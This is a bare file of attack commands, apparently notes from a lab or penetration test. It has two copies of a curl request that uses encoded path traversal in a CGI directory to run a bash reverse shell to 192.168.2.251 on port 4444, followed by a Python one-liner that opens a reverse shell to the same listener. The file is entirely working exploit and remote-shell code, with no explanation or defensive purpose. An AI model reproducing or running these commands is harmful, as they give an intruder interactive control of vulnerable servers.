curl -v 'http://192.168.2.224:80/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/bash' -d 'echo Content-Type: text/plain; echo; bash -i >& /dev/tcp/192.168.2.251/4444 0>&1' -H 'Content-Type: text/plain'

curl -v 'http://192.168.2.224:80/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/bash' \
  -d 'echo Content-Type: text/plain; echo; bash -i >& /dev/tcp/192.168.2.251/4444 0>&1' \
  -H 'Content-Type: text/plain'
  
  python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.2.251",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"])'